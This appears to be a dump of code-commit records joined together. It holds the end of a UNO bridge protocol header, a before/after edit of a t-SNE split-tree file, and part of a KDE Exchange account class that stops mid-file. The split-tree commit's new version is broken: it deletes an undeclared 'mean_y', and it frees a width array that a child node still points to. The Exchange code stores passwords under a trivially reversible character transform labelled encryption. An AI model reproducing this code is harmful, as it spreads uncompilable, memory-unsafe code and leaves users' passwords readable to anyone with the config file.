2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include <rtl\/ustring.hxx>\n\n#include <typelib\/typedescription.h>\n\n#include <uno\/any2.h>\n\n\ntypedef struct _uno_Environment uno_Environment;\nstruct remote_Interface;\n\n\n\nnamespace bridges_urp {\n\n    const sal_uInt8 HDRFLAG_LONGHEADER       = 0x80;\n    const sal_uInt8 HDRFLAG_REQUEST          = 0x40;\n    const sal_uInt8 HDRFLAG_NEWTYPE          = 0x20;\n    const sal_uInt8 HDRFLAG_NEWOID           = 0x10;\n    const sal_uInt8 HDRFLAG_NEWTID           = 0x08;\n    const sal_uInt8 HDRFLAG_LONGMETHODID     = 0x04;\n    const sal_uInt8 HDRFLAG_IGNORECACHE      = 0x02;\n    const sal_uInt8 HDRFLAG_MOREFLAGS        = 0x01;\n    const sal_uInt8 HDRFLAG_MUSTREPLY        = 0x80;\n    const sal_uInt8 HDRFLAG_SYNCHRONOUS      = 0x40;\n\n    const sal_uInt8 HDRFLAG_EXCEPTION        = 0x20;\n\n    void SAL_CALL urp_sendCloseConnection( uno_Environment *pEnvRemote );\n\n    extern \"C\" void SAL_CALL urp_sendRequest(\n        uno_Environment *pEnvRemote,\n        typelib_TypeDescription const * pMemberType,\n        rtl_uString *pOid,\n        typelib_InterfaceTypeDescription *pInterfaceType,\n        void *pReturn,\n        void *ppArgs[],\n        uno_Any **ppException\n        );\n\n    void SAL_CALL urp_sendRequest_internal(\n        uno_Environment *pEnvRemote,\n        typelib_TypeDescription const * pMemberType,\n        rtl_uString *pOid,\n        typelib_InterfaceTypeDescription *pInterfaceType,\n        void *pReturn,\n        void *ppArgs[],\n        uno_Any **ppException\n        );\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <cmath>\n#include <cfloat>\n#include <cstdlib>\n#include <cstdio>\n\n#include \"splittree.h\"\n\n\n\/\/ Checks whether a point lies in a cell\nbool Cell::containsPoint(double point[])\n{   \n    for (int i = 0; i< n_dims; ++i) {\n        if (abs_d(center[i] - point[i]) > width[i]) {\n            return false;\n        }\n    }\n    return true;\n}\n\n\n\/\/ Default constructor for quadtree -- build tree, too!\nSplitTree::SplitTree(double* inp_data, int N, int no_dims)\n{   \n    QT_NO_DIMS = no_dims;\n    num_children = 1 << no_dims;\n\n    \/\/ Compute mean, width, and height of current map (boundaries of SplitTree)\n    double* mean_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        mean_Y[d] = .0;\n    }\n\n    double*  min_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        min_Y[d] =  DBL_MAX;  \n    } \n    double*  max_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        max_Y[d] = -DBL_MAX;\n    }\n\n    for (int n = 0; n < N; n++) {\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            mean_Y[d] += inp_data[n * QT_NO_DIMS + d];\n            min_Y[d] = min(min_Y[d], inp_data[n * QT_NO_DIMS + d]);\n            max_Y[d] = max(max_Y[d], inp_data[n * QT_NO_DIMS + d]);\n        }\n\n    }\n\n    double* width_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        mean_Y[d] \/= (double) N;\n        width_Y[d] = max(max_Y[d] - mean_Y[d], mean_Y[d] - min_Y[d]) + 1e-5;    \n    }\n\n    \/\/ Construct SplitTree\n    init(NULL, inp_data, mean_Y, width_Y);\n    fill(N);\n    delete[] max_Y; delete[] min_Y;\n}\n\n\/\/ Constructor for SplitTree with particular size and parent (do not fill the tree)\nSplitTree::SplitTree(SplitTree* inp_parent, double* inp_data, double* mean_Y, double* width_Y)\n{   \n    QT_NO_DIMS = inp_parent->QT_NO_DIMS;\n    num_children = 1 << QT_NO_DIMS;\n    \n    init(inp_parent, inp_data, mean_Y, width_Y);\n}\n\n\n\/\/ Main initialization function\nvoid SplitTree::init(SplitTree* inp_parent, double* inp_data, double* mean_Y, double* width_Y)\n{   \n    \/\/ parent = inp_parent;\n    data = inp_data;\n    is_leaf = true;\n    size = 0;\n    cum_size = 0;\n    \n    boundary.center = mean_Y;\n    boundary.width  = width_Y;\n    boundary.n_dims = QT_NO_DIMS;\n\n    index[0] = 0;\n\n    center_of_mass = new double[QT_NO_DIMS];\n    for (int i = 0; i < QT_NO_DIMS; i++) {\n        center_of_mass[i] = .0;\n    }\n}\n\n\n\/\/ Destructor for SplitTree\nSplitTree::~SplitTree()\n{   \n    for(unsigned int i = 0; i != children.size(); i++) {\n        delete children[i];\n    }\n    delete[] center_of_mass;\n}\n\n\n\/\/ Insert a point into the SplitTree\nbool SplitTree::insert(int new_index)\n{   \n    \/\/ Ignore objects which do not belong in this quad tree\n    double* point = data + new_index * QT_NO_DIMS;\n    if (!boundary.containsPoint(point)) {\n        return false;\n    }\n\n    \/\/ Online update of cumulative size and center-of-mass\n    cum_size++;\n    double mult1 = (double) (cum_size - 1) \/ (double) cum_size;\n    double mult2 = 1.0 \/ (double) cum_size;\n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        center_of_mass[d] = center_of_mass[d] * mult1 + mult2 * point[d];\n    }\n\n    \/\/ If there is space in this quad tree and it is a leaf, add the object here\n    if (is_leaf && size < QT_NODE_CAPACITY) {\n        index[size] = new_index;\n        size++;\n        return true;\n    }\n\n    \/\/ Don't add duplicates for now (this is not very nice)\n    bool any_duplicate = false;\n    for (int n = 0; n < size; n++) {\n        bool duplicate = true;\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            if (point[d] != data[index[n] * QT_NO_DIMS + d]) { duplicate = false; break; }\n        }\n        any_duplicate = any_duplicate | duplicate;\n    }\n    if (any_duplicate) {\n        return true;\n    }\n\n    \/\/ Otherwise, we need to subdivide the current cell\n    if (is_leaf) {\n        subdivide();\n    }\n\n    \/\/ Find out where the point can be inserted\n    for (int i = 0; i < num_children; ++i) {\n        if (children[i]->insert(new_index)) {\n            return true;\n        }\n    }\n    \n    \/\/ Otherwise, the point cannot be inserted (this should never happen)\n    \/\/ printf(\"%s\\n\", \"No no, this should not happen\");\n    return false;\n}\n\nint *get_bits(int n, int bitswanted){\n  int *bits = new int[bitswanted];\n\n  int k;\n  for(k=0; k<bitswanted; k++) {\n    int mask =  1 << k;\n    int masked_n = n & mask;\n    int thebit = masked_n >> k;\n    bits[k] = thebit;\n  }\n\n  return bits;\n}\n\n\/\/ Create four children which fully divide this cell into four quads of equal area\nvoid SplitTree::subdivide() {\n\n    \/\/ Create children\n    double* new_centers = new double[2 * QT_NO_DIMS];\n    for(int i = 0; i < QT_NO_DIMS; ++i) {\n        new_centers[i*2]     = boundary.center[i] - .5 * boundary.width[i];\n        new_centers[i*2 + 1] = boundary.center[i] + .5 * boundary.width[i];\n    }\n\n    for (int i = 0; i < num_children; ++i) {\n        int *bits = get_bits(i, QT_NO_DIMS);    \n\n        double* mean_Y = new double[QT_NO_DIMS]; \n        double* width_Y = new double[QT_NO_DIMS]; \n\n        \/\/ fill the means and width\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            mean_Y[d] = new_centers[d*2 + bits[d]];\n            width_Y[d] = .5*boundary.width[d];\n        }\n        \n        SplitTree* qt = new SplitTree(this, data, mean_Y, width_Y);        \n        children.push_back(qt);\n        delete[] bits; \n    }\n    delete[] new_centers;\n\n    \/\/ Move existing points to correct children\n    for (int i = 0; i < size; i++) {\n        \/\/ bool flag = false;\n        for (int j = 0; j < num_children; j++) {\n            if (children[j]->insert(index[i])) {\n                \/\/ flag = true;\n                break;\n            }\n        }\n        \/\/ if (flag == false) {\n        index[i] = -1;\n        \/\/ }\n    }\n    \n    \/\/ This node is not leaf now\n    \/\/ Empty it\n    size = 0;\n    is_leaf = false;\n}\n\n\n\/\/ Build SplitTree on dataset\nvoid SplitTree::fill(int N)\n{\n    for (int i = 0; i < N; i++) {\n        insert(i);\n    }\n}\n\n\n\/\/ Compute non-edge forces using Barnes-Hut algorithm\nvoid SplitTree::computeNonEdgeForces(int point_index, double theta, double* neg_f, double* sum_Q)\n{\n    \/\/ Make sure that we spend no time on empty nodes or self-interactions\n    if (cum_size == 0 || (is_leaf && size == 1 && index[0] == point_index)) {\n        return;\n    }\n    \/\/ Compute distance between point and center-of-mass\n    double D = .0;\n    int ind = point_index * QT_NO_DIMS;\n\n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        double t  = data[ind + d] - center_of_mass[d];\n        D += t * t;\n    }\n\n    \/\/ Check whether we can use this node as a \"summary\"\n    double m = -1;\n    for (int i = 0; i < QT_NO_DIMS; ++i) {\n        m = max(m, boundary.width[i]);\n    }\n    if (is_leaf || m \/ sqrt(D) < theta) {\n\n        \/\/ Compute and add t-SNE force between point and current node\n        double Q = 1.0 \/ (1.0 + D);\n        *sum_Q += cum_size * Q;\n        double mult = cum_size * Q * Q;\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            neg_f[d] += mult * (data[ind + d] - center_of_mass[d]);\n        }\n    }\n    else {\n        \/\/ Recursively apply Barnes-Hut to children\n        for (int i = 0; i < num_children; ++i) {\n            children[i]->computeNonEdgeForces(point_index, theta, neg_f, sum_Q);\n        }\n    }\n}\n<commit_msg>Update splittree.cpp<commit_after>#include <cmath>\n#include <cfloat>\n#include <cstdlib>\n#include <cstdio>\n\n#include \"splittree.h\"\n\n\n\/\/ Checks whether a point lies in a cell\nbool Cell::containsPoint(double point[])\n{   \n    for (int i = 0; i< n_dims; ++i) {\n        if (abs_d(center[i] - point[i]) > width[i]) {\n            return false;\n        }\n    }\n    return true;\n}\n\n\n\/\/ Default constructor for quadtree -- build tree, too!\nSplitTree::SplitTree(double* inp_data, int N, int no_dims)\n{   \n    QT_NO_DIMS = no_dims;\n    num_children = 1 << no_dims;\n\n    \/\/ Compute mean, width, and height of current map (boundaries of SplitTree)\n    double* mean_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        mean_Y[d] = .0;\n    }\n\n    double*  min_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        min_Y[d] =  DBL_MAX;  \n    } \n    double*  max_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        max_Y[d] = -DBL_MAX;\n    }\n\n    for (int n = 0; n < N; n++) {\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            mean_Y[d] += inp_data[n * QT_NO_DIMS + d];\n            min_Y[d] = min(min_Y[d], inp_data[n * QT_NO_DIMS + d]);\n            max_Y[d] = max(max_Y[d], inp_data[n * QT_NO_DIMS + d]);\n        }\n\n    }\n\n    double* width_Y = new double[QT_NO_DIMS]; \n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        mean_Y[d] \/= (double) N;\n        width_Y[d] = max(max_Y[d] - mean_Y[d], mean_Y[d] - min_Y[d]) + 1e-5;    \n    }\n\n    \/\/ Construct SplitTree\n    init(NULL, inp_data, mean_Y, width_Y);\n    fill(N);\n    delete[] max_Y; delete[] min_Y;\n}\n\n\/\/ Constructor for SplitTree with particular size and parent (do not fill the tree)\nSplitTree::SplitTree(SplitTree* inp_parent, double* inp_data, double* mean_Y, double* width_Y)\n{   \n    QT_NO_DIMS = inp_parent->QT_NO_DIMS;\n    num_children = 1 << QT_NO_DIMS;\n    \n    init(inp_parent, inp_data, mean_Y, width_Y);\n}\n\n\n\/\/ Main initialization function\nvoid SplitTree::init(SplitTree* inp_parent, double* inp_data, double* mean_Y, double* width_Y)\n{   \n    \/\/ parent = inp_parent;\n    data = inp_data;\n    is_leaf = true;\n    size = 0;\n    cum_size = 0;\n    \n    boundary.center = mean_Y;\n    boundary.width  = width_Y;\n    boundary.n_dims = QT_NO_DIMS;\n\n    index[0] = 0;\n\n    center_of_mass = new double[QT_NO_DIMS];\n    for (int i = 0; i < QT_NO_DIMS; i++) {\n        center_of_mass[i] = .0;\n    }\n}\n\n\n\/\/ Destructor for SplitTree\nSplitTree::~SplitTree()\n{   \n    for(unsigned int i = 0; i != children.size(); i++) {\n        delete children[i];\n    }\n    delete[] center_of_mass;\n}\n\n\n\/\/ Insert a point into the SplitTree\nbool SplitTree::insert(int new_index)\n{   \n    \/\/ Ignore objects which do not belong in this quad tree\n    double* point = data + new_index * QT_NO_DIMS;\n    if (!boundary.containsPoint(point)) {\n        return false;\n    }\n\n    \/\/ Online update of cumulative size and center-of-mass\n    cum_size++;\n    double mult1 = (double) (cum_size - 1) \/ (double) cum_size;\n    double mult2 = 1.0 \/ (double) cum_size;\n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        center_of_mass[d] = center_of_mass[d] * mult1 + mult2 * point[d];\n    }\n\n    \/\/ If there is space in this quad tree and it is a leaf, add the object here\n    if (is_leaf && size < QT_NODE_CAPACITY) {\n        index[size] = new_index;\n        size++;\n        return true;\n    }\n\n    \/\/ Don't add duplicates for now (this is not very nice)\n    bool any_duplicate = false;\n    for (int n = 0; n < size; n++) {\n        bool duplicate = true;\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            if (point[d] != data[index[n] * QT_NO_DIMS + d]) { duplicate = false; break; }\n        }\n        any_duplicate = any_duplicate | duplicate;\n    }\n    if (any_duplicate) {\n        return true;\n    }\n\n    \/\/ Otherwise, we need to subdivide the current cell\n    if (is_leaf) {\n        subdivide();\n    }\n\n    \/\/ Find out where the point can be inserted\n    for (int i = 0; i < num_children; ++i) {\n        if (children[i]->insert(new_index)) {\n            return true;\n        }\n    }\n    \n    \/\/ Otherwise, the point cannot be inserted (this should never happen)\n    \/\/ printf(\"%s\\n\", \"No no, this should not happen\");\n    return false;\n}\n\nint *get_bits(int n, int bitswanted){\n  int *bits = new int[bitswanted];\n\n  int k;\n  for(k=0; k<bitswanted; k++) {\n    int mask =  1 << k;\n    int masked_n = n & mask;\n    int thebit = masked_n >> k;\n    bits[k] = thebit;\n  }\n\n  return bits;\n}\n\n\/\/ Create four children which fully divide this cell into four quads of equal area\nvoid SplitTree::subdivide() {\n\n    \/\/ Create children\n    double* new_centers = new double[2 * QT_NO_DIMS];\n    for(int i = 0; i < QT_NO_DIMS; ++i) {\n        new_centers[i*2]     = boundary.center[i] - .5 * boundary.width[i];\n        new_centers[i*2 + 1] = boundary.center[i] + .5 * boundary.width[i];\n    }\n\n    for (int i = 0; i < num_children; ++i) {\n        int *bits = get_bits(i, QT_NO_DIMS);    \n\n        double* mean_Y = new double[QT_NO_DIMS]; \n        double* width_Y = new double[QT_NO_DIMS]; \n\n        \/\/ fill the means and width\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            mean_Y[d] = new_centers[d*2 + bits[d]];\n            width_Y[d] = .5*boundary.width[d];\n        }\n        \n        SplitTree* qt = new SplitTree(this, data, mean_Y, width_Y);        \n        children.push_back(qt);\n        delete[] mean_y;\n        delete[] width_Y;\n        delete[] bits; \n    }\n    delete[] new_centers;\n\n    \/\/ Move existing points to correct children\n    for (int i = 0; i < size; i++) {\n        \/\/ bool flag = false;\n        for (int j = 0; j < num_children; j++) {\n            if (children[j]->insert(index[i])) {\n                \/\/ flag = true;\n                break;\n            }\n        }\n        \/\/ if (flag == false) {\n        index[i] = -1;\n        \/\/ }\n    }\n    \n    \/\/ This node is not leaf now\n    \/\/ Empty it\n    size = 0;\n    is_leaf = false;\n}\n\n\n\/\/ Build SplitTree on dataset\nvoid SplitTree::fill(int N)\n{\n    for (int i = 0; i < N; i++) {\n        insert(i);\n    }\n}\n\n\n\/\/ Compute non-edge forces using Barnes-Hut algorithm\nvoid SplitTree::computeNonEdgeForces(int point_index, double theta, double* neg_f, double* sum_Q)\n{\n    \/\/ Make sure that we spend no time on empty nodes or self-interactions\n    if (cum_size == 0 || (is_leaf && size == 1 && index[0] == point_index)) {\n        return;\n    }\n    \/\/ Compute distance between point and center-of-mass\n    double D = .0;\n    int ind = point_index * QT_NO_DIMS;\n\n    for (int d = 0; d < QT_NO_DIMS; d++) {\n        double t  = data[ind + d] - center_of_mass[d];\n        D += t * t;\n    }\n\n    \/\/ Check whether we can use this node as a \"summary\"\n    double m = -1;\n    for (int i = 0; i < QT_NO_DIMS; ++i) {\n        m = max(m, boundary.width[i]);\n    }\n    if (is_leaf || m \/ sqrt(D) < theta) {\n\n        \/\/ Compute and add t-SNE force between point and current node\n        double Q = 1.0 \/ (1.0 + D);\n        *sum_Q += cum_size * Q;\n        double mult = cum_size * Q * Q;\n        for (int d = 0; d < QT_NO_DIMS; d++) {\n            neg_f[d] += mult * (data[ind + d] - center_of_mass[d]);\n        }\n    }\n    else {\n        \/\/ Recursively apply Barnes-Hut to children\n        for (int i = 0; i < num_children; ++i) {\n            children[i]->computeNonEdgeForces(point_index, theta, neg_f, sum_Q);\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    This file is part of libkpimexchange\n    Copyright (c) 2002 Jan-Pascal van Best <janpascal@vanbest.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n\n#include <qstring.h>\n#include <qtextstream.h>\n#include <qapplication.h>\n#include <qdom.h>\n#include <qwidgetlist.h>\n#include <qwidget.h>\n#include <qfile.h>\n\n#include <kurl.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <dcopclient.h>\n#include <kcursor.h>\n\n#include <kio\/authinfo.h>\n#include <kio\/davjob.h>\n#include <kio\/job.h>\n#include <kio\/netaccess.h>\n\n#include \"exchangeaccount.h\"\n#include \"utils.h\"\n\nusing namespace KPIM;\n\nExchangeAccount::ExchangeAccount( QString host, QString account, QString password )\n{\n  mHost = host;\n  mAccount = account;\n  mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + account;\n  mPassword = password;\n\n  mCalendarURL = 0;\n}\n\nExchangeAccount::ExchangeAccount( QString host, QString account, QString mailbox, QString password )\n{\n  mHost = host;\n  mAccount = account;\n  if ( mailbox.isNull() ) \n    mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + account;\n  else \n    mMailbox = mailbox;\n  mPassword = password;\n\n  mCalendarURL = 0;\n}\n\nExchangeAccount::ExchangeAccount( QString group )\n{\n  load( group );\n}\n\nExchangeAccount::~ExchangeAccount()\n{\n}\n\nQString endecryptStr( const QString &aStr ) \n{\n  QString result;\n  for (uint i = 0; i < aStr.length(); i++)\n    result += (aStr[i].unicode() < 0x20) ? aStr[i] :\n      QChar(0x1001F - aStr[i].unicode());\n  return result;\n}\n\nvoid ExchangeAccount::save( QString const& group )\n{\n  kapp->config()->setGroup( group );\n  kapp->config()->writeEntry( \"host\", mHost );\n  kapp->config()->writeEntry( \"user\", mAccount );\n  kapp->config()->writeEntry( \"mailbox\", mMailbox );\n  kapp->config()->writeEntry( \"MS-ID\", endecryptStr( mPassword ) );\n  kapp->config()->sync();\n}\n\nvoid ExchangeAccount::load( QString const& group )\n{\n  kapp->config()->setGroup( group );\n\n  QString host = kapp->config()->readEntry( \"host\" );\n  if ( ! host.isNull() ) {\n    mHost = host;\n  } else {\n    mHost = \"mail.company.com\";\n  }\n\n  QString user = kapp->config()->readEntry( \"user\" );\n  if ( ! user.isNull() ) {\n    mAccount = user;\n  } else {\n    mAccount = \"username\";\n  }\n\n  QString mailbox = kapp->config()->readEntry( \"mailbox\" );\n  if ( ! mailbox.isNull() ) {\n    mMailbox = mailbox;\n  } else {\n    mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + mAccount;\n  }\n\n  QString password = endecryptStr( kapp->config()->readEntry( \"MS-ID\" ) );\n  if ( ! password.isNull() ) {\n    mPassword = password;\n  }\n}\n\nKURL ExchangeAccount::baseURL()\n{\n  KURL url = KURL( mMailbox );\n  url.setProtocol( \"webdav\" );\n  return url;\n}\n\nKURL ExchangeAccount::calendarURL()\n{\n  if ( mCalendarURL ) {\n    return *mCalendarURL;\n  } else {\n    KURL url = baseURL();\n    url.addPath( \"Calendar\" );\n    return url;\n  }\n}\n\nvoid ExchangeAccount::authenticate( QWidget* window )\n{\n  if ( window )\n    authenticate( window->winId() );\n  else\n    authenticate();\n}\n\nvoid ExchangeAccount::authenticate()\n{\n\n  long windowId;\n  QWidgetList* widgets = QApplication::topLevelWidgets();\n  if ( widgets->isEmpty() )\n    windowId = 0;\n  else\n    windowId = widgets->first()->winId();\n  delete widgets;\n\n  authenticate( windowId );\n}\n\nvoid ExchangeAccount::authenticate( int windowId )\n{\n  kdDebug() << \"Entering ExchangeAccount::authenticate( windowId=\" << windowId << \" )\" << endl;\n\n  KIO::AuthInfo info;\n  info.url = baseURL();\n  info.username = mAccount;\n  info.password = mPassword;\n  info.realmValue = mHost;\n  info.digestInfo = \"Basic\";\n\n  DCOPClient *dcopClient = new DCOPClient();\n  dcopClient->attach();\n\n  QByteArray params;\n  QDataStream stream(params, IO_WriteOnly);\n  stream << info << windowId;\n\n  dcopClient->send( \"kded\", \"kpasswdserver\", \"addAuthInfo(KIO::AuthInfo, long int)\", params );\n\n  dcopClient->detach();\n  delete dcopClient;\n\n  mCalendarURL = 0;\n\n  calcFolderURLs();\n\n  QApplication::setOverrideCursor( KCursor::waitCursor() );\n  do {\n    qApp->processEvents();\n  } while ( !mCalendarURL );\n  QApplication::restoreOverrideCursor();  \n}\n\nvoid ExchangeAccount::calcFolderURLs()\n{\n  kdDebug() << \"Calculating folder URLs\" << endl;\n  QDomDocument doc;\n  QDomElement root = addElement( doc, doc, \"DAV:\", \"propfind\" );\n  QDomElement prop = addElement( doc, root, \"DAV:\", \"prop\" );\n  addElement( doc, prop, \"urn:schemas:httpmail:\", \"calendar\" );\n\/\/ For later use:\n\/\/ urn:schemas:httpmail:contacts Contacts \n\/\/ urn:schemas:httpmail:deleteditems Deleted Items \n\/\/ urn:schemas:httpmail:drafts Drafts \n\/\/ urn:schemas:httpmail:inbox Inbox \n\/\/ urn:schemas:httpmail:journal Journal \n\/\/ urn:schemas:httpmail:notes Notes \n\/\/ urn:schemas:httpmail:outbox Outbox \n\/\/ urn:schemas:httpmail:sentitems Sent Items \n\/\/ urn:schemas:httpmail:tasks Tasks \n\/\/ urn:schemas:httpmail:sendmsg Exchange Mail Submission URI \n\/\/ urn:schemas:httpmail:msgfolderroot Mailbox folder (root) \n\n  KIO::DavJob* job = KIO::davPropFind( baseURL(), doc, \"0\", false );\n  job->addMetaData( \"errorPage\", \"false\" );\n  connect( job, SIGNAL( result( KIO::Job * ) ), this, SLOT( slotFolderResult( KIO::Job * ) ) );\n}\n\nvoid ExchangeAccount::slotFolderResult( KIO::Job * job ) \n{\n  kdDebug() << \"ExchangeAccount::slotFolderResult()\" << endl;\n  if ( job->error() ) {\n    kdError() << \"Error: Cannot get well-know folder names; \" << job->error() << endl;\n    job->showErrorDialog( 0L );\n    return;\n  }\n  QDomDocument& response = static_cast<KIO::DavJob *>( job )->response();\n\n  QDomElement prop = response.documentElement().namedItem( \"response\" ).namedItem( \"propstat\" ).namedItem( \"prop\" ).toElement();\n \n  QDomElement calElement = prop.namedItem( \"calendar\" ).toElement();\n  if ( calElement.isNull() ) {\n    kdError() << \"Error: no calendar URL in Exchange server reply\" << endl;\n    return;\n  }\n  QString calendar = calElement.text();\n  mCalendarURL = new KURL( calendar );\n  mCalendarURL->setProtocol(\"webdav\");\n  kdDebug() << \"Calendar URL: \" << mCalendarURL->url() << endl;\n}\n\nQString ExchangeAccount::tryFindMailbox( const QString& host, const QString& user, const QString& password )\n{\n  kdDebug() << \"Entering ExchangeAccount::tryFindMailbox()\" << endl;\n\n  KURL url = KURL( \"http:\/\/\" + host + \"\/exchange\" );\n  url.setUser( user );\n  url.setPass( password );\n\n  QString tmpFile;\n  if ( !KIO::NetAccess::download( url, tmpFile ) )\n  {\n    kdWarning() << \"Trying to find mailbox failed: not able to download \" << url.prettyURL() << endl;\n    return QString::null;\n  }\n  QFile file( tmpFile );\n  if ( !file.open( IO_ReadOnly ) ) {\n    kdWarning() << \"Trying to find mailbox failed: not able to open temp file \" << tmpFile << endl;\n    KIO::NetAccess::removeTempFile( tmpFile );\n    return QString::null;\n  }\n\n  QTextStream stream( &file );\n  QString line;\n  QString result;\n  while ( !stream.eof() ) {\n      line = stream.readLine(); \/\/ line of text excluding '\\n'\n      int pos = line.find( \"<BASE href=\\\"\", 0, FALSE );\n      if ( pos < 0 )\n        continue;\n      int end = line.find( \"\\\"\", pos+12, FALSE );\n      if ( pos < 0 ) {\n        kdWarning() << \"Strange, found no closing quote in \" << line << endl;\n        continue;\n      } \n      QString mailboxString = line.mid( pos+12, end-pos-12 );\n      KURL mailbox( mailboxString );\n      if ( mailbox.isEmpty() ) {\n        kdWarning() << \"Strange, could not get URL from \" << mailboxString << \" in line \" << line << endl;\n        continue;\n      }\n      mailbox.setProtocol( \"webdav\" );\n      kdDebug() << \"Found mailbox: \" << mailbox.prettyURL( -1 ) << endl;\n      result = mailbox.prettyURL( -1 ); \/\/ Strip ending slash from URL, if present\n    }\n    file.close();\n\n    KIO::NetAccess::removeTempFile( tmpFile );\n    return result;\n}\n\n#include \"exchangeaccount.moc\"\n<commit_msg>Support for https\/webdavs mailboxes<commit_after>\/*\n    This file is part of libkpimexchange\n    Copyright (c) 2002 Jan-Pascal van Best <janpascal@vanbest.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n\n#include <qstring.h>\n#include <qtextstream.h>\n#include <qapplication.h>\n#include <qdom.h>\n#include <qwidgetlist.h>\n#include <qwidget.h>\n#include <qfile.h>\n\n#include <kurl.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <dcopclient.h>\n#include <kcursor.h>\n\n#include <kio\/authinfo.h>\n#include <kio\/davjob.h>\n#include <kio\/job.h>\n#include <kio\/netaccess.h>\n\n#include \"exchangeaccount.h\"\n#include \"utils.h\"\n\nusing namespace KPIM;\n\nExchangeAccount::ExchangeAccount( QString host, QString account, QString password )\n{\n  mHost = host;\n  mAccount = account;\n  mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + account;\n  mPassword = password;\n\n  mCalendarURL = 0;\n}\n\nExchangeAccount::ExchangeAccount( QString host, QString account, QString mailbox, QString password )\n{\n  mHost = host;\n  mAccount = account;\n  if ( mailbox.isNull() ) \n    mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + account;\n  else \n    mMailbox = mailbox;\n  mPassword = password;\n\n  mCalendarURL = 0;\n}\n\nExchangeAccount::ExchangeAccount( QString group )\n{\n  load( group );\n}\n\nExchangeAccount::~ExchangeAccount()\n{\n}\n\nQString endecryptStr( const QString &aStr ) \n{\n  QString result;\n  for (uint i = 0; i < aStr.length(); i++)\n    result += (aStr[i].unicode() < 0x20) ? aStr[i] :\n      QChar(0x1001F - aStr[i].unicode());\n  return result;\n}\n\nvoid ExchangeAccount::save( QString const& group )\n{\n  kapp->config()->setGroup( group );\n  kapp->config()->writeEntry( \"host\", mHost );\n  kapp->config()->writeEntry( \"user\", mAccount );\n  kapp->config()->writeEntry( \"mailbox\", mMailbox );\n  kapp->config()->writeEntry( \"MS-ID\", endecryptStr( mPassword ) );\n  kapp->config()->sync();\n}\n\nvoid ExchangeAccount::load( QString const& group )\n{\n  kapp->config()->setGroup( group );\n\n  QString host = kapp->config()->readEntry( \"host\" );\n  if ( ! host.isNull() ) {\n    mHost = host;\n  } else {\n    mHost = \"mail.company.com\";\n  }\n\n  QString user = kapp->config()->readEntry( \"user\" );\n  if ( ! user.isNull() ) {\n    mAccount = user;\n  } else {\n    mAccount = \"username\";\n  }\n\n  QString mailbox = kapp->config()->readEntry( \"mailbox\" );\n  if ( ! mailbox.isNull() ) {\n    mMailbox = mailbox;\n  } else {\n    mMailbox = \"webdav:\/\/\" + host + \"\/exchange\/\" + mAccount;\n  }\n\n  QString password = endecryptStr( kapp->config()->readEntry( \"MS-ID\" ) );\n  if ( ! password.isNull() ) {\n    mPassword = password;\n  }\n}\n\nKURL ExchangeAccount::baseURL()\n{\n  KURL url = KURL( mMailbox );\n  return url;\n}\n\nKURL ExchangeAccount::calendarURL()\n{\n  if ( mCalendarURL ) {\n    return *mCalendarURL;\n  } else {\n    KURL url = baseURL();\n    url.addPath( \"Calendar\" );\n    return url;\n  }\n}\n\nvoid ExchangeAccount::authenticate( QWidget* window )\n{\n  if ( window )\n    